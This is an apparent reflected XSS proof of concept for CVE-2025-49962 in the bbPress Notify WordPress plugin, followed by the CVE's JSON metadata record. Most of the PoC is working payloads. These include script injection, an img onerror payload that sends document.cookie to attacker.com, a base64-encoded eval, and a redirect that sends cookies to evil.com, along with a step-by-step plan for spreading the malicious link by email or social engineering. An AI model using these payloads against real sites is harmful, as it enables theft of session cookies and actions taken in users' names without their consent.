CVE-2025-49962

<!-- CVE-2025-49962 Reflected XSS PoC --> <!-- Target: bbPress Notify plugin <= 2.19.5 --> <!-- Basic XSS Payload --> https://vulnerable-site.com/?param=<script>alert(document.cookie)</script> <!-- More sophisticated payload for cookie stealing --> https://vulnerable-site.com/?redirect_to=<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Using encoded JavaScript --> https://vulnerable-site.com/?topic_id=<script>eval(atob('YWxlcnQoJ1hTUyB0ZXN0Jyk='))</script> <!-- Real-world attack scenario --> <!-- 1. Attacker identifies the vulnerable parameter in bbPress Notify --> <!-- 2. Craft malicious URL with XSS payload --> <!-- 3. Distribute via email (since it's a notification plugin) or social engineering --> <!-- 4. When victim clicks the link, JavaScript executes in their browser --> <!-- 5. Attacker steals session cookies or performs actions on behalf of victim --> <!-- Example attack URL --> https://example.com/wp-content/plugins/bbpress-notify/?_wpnonce=xxx&topic_id=1"><script>document.location='https://evil.com/log?c='+document.cookie</script>

{"cve": {"id": "CVE-2025-49962", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:43.027", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in useStrict bbPress Notify bbpress-notify-nospam allows Reflected XSS.This issue affects bbPress Notify: from n/a through <= 2.19.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/bbpress-notify-nospam/vulnerability/wordpress-bbpress-notify-plugin-2-19-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}